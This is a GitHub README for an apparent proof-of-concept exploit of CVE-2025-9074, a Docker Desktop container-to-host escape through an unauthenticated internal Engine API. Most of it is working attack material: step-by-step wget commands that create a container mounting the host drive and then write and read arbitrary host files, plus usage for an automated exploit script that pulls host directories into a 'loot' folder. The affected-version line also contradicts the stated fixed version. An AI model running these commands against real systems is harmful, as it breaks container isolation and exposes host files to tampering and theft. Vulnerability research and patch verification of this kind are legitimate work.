pucagit/CVE-2025-9074
GitHub: pucagit/CVE-2025-9074
Stars: 0 | Forks: 0
# CVE-2025-9074 – Full Docker Escape on Windows & macOS Docker Desktop
## 📌 Description
Docker Desktop exposes the internal Docker Engine API at **`http://192.168.65.7:2375`**
to *any* running container — with **no authentication and no access control**.
Because the engine itself can mount the host filesystem, a container can call this API to
**create a new container that bind-mounts the host drive**, then use that container to
**read and write arbitrary host files** — a complete container-to-host escape.
## 📝 References
- [CVE-2025-9074 Record](https://www.cve.org/CVERecord?id=CVE-2025-9074)
- [Docker Desktop Release Notes (fixed in 4.44.3)](https://docs.docker.com/desktop/release-notes/#4443)
- [Felix Boulet’s Research](https://blog.qwertysecurity.com/Articles/blog3.html)
## 🎯 Affected Versions
- Docker Desktop **≤ 4.44.3** on **Windows** and **macOS**
## ⚙️ How It Works
1. **Reach the API.** A running container connects to the Docker Engine API at
`http://192.168.65.7:2375` — no credentials are required.
2. **Create a privileged container.** It sends `POST /containers/create` with
`Binds: ["/mnt/host:/host_root"]`, mounting the host drive into a new container.
Inside the Docker VM the host filesystem is exposed at **`/mnt/host`**
(e.g. the Windows `C:` drive is at `/mnt/host/c`).
3. **Start the container.** `POST /containers/{id}/start` activates the bind mount,
giving full host access.
4. **Write host files.** The new container runs a command that writes into the
bind mount (e.g. `echo pwned > /host_root/c/test/pwn.txt`).
5. **Read host files.** `GET /containers/{id}/archive?path=...` streams any host
path back as a TAR archive — no shell required.
## 🧪 Lab Setup
### Requirements
- Docker Desktop **prior to 4.44.3** (Windows or macOS)
- An attacker container that can reach the internal API (any container can)
### Prepare test data (Windows)
Create `C:\test\readme.txt` with some sample content so the read demo has a target.

### Launch an attacker container
docker run -it --rm alpine /bin/sh
All manual steps below run **inside this container** (`alpine` ships with `wget`).
Set a shell variable for the API to keep commands short:
API=http://192.168.65.7:2375
## ✍️ Reproduction — WRITE to the host
Goal: create `C:\test\pwn.txt` on the host from inside a container.
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
**What happened:**
- `Binds: /mnt/host:/host_root` mounts the host drives into the new container.
- The container’s command writes `pwned` to `C:\test\pwn.txt` (`/host_root/c/test/pwn.txt`).
- No credentials were ever required.
**Expected result:** `C:\test\pwn.txt` now exists on the host.

## 📖 Reproduction — READ from the host
Goal: read `C:\test\readme.txt` off the host from inside a container.
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
**What happened:**
- The same bind mount exposes the host drive read-only-friendly to the new container.
- `GET /containers/{id}/archive?path=...` streams any host path back as a TAR — no shell needed.
- Extracting the archive reveals the host file contents.
**Expected result:** the contents of `C:\test\readme.txt` are printed.

## 🤖 Automated Exploitation — `exploit.py`
[`exploit.py`](exploit.py) automates both flows. It uses **only the Python standard
library**, **auto-detects** the host mount (Windows `/mnt/host/c` vs macOS/Linux `/`),
and translates native host paths for you.
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
On Windows PowerShell, use `-v "${PWD}:/x"`; on cmd.exe use `-v "%cd%:/x"`.
### Verify access
python /x/exploit.py info
Pings the API, detects the host OS, and lists the top-level host mount entries.
### Write a host file
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
### Read a host file
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
### Useful flags
| Flag | Purpose |
|------|---------|
| `--api URL` | Override the API endpoint (default `http://192.168.65.7:2375`) |
| `--image NAME` | Image for the exploit container (default `alpine`, auto-pulled if missing) |
| `--vm-mount PATH` | Skip auto-detect and force the in-VM host mount (e.g. `/mnt/host` or `/`) |
## 🛡️ Mitigation
- **Upgrade Docker Desktop to ≥ 4.44.3** on Windows and macOS.
- Do not run untrusted images; the unpatched API is reachable from *any* container.
## ⚠️ Disclaimer
This PoC is for **authorized testing, education, and research only**. The author assumes
**no liability for misuse**. Only run it against systems you own or are permitted to test.
## 🙏 Attribution
This PoC and README are **derived from research by [Felix Boulet](https://blog.qwertysecurity.com/Articles/blog3.html)**.
All credit for the original discovery and analysis belongs to the original author.
## 📜 License
This project is licensed under the [MIT License](LICENSE).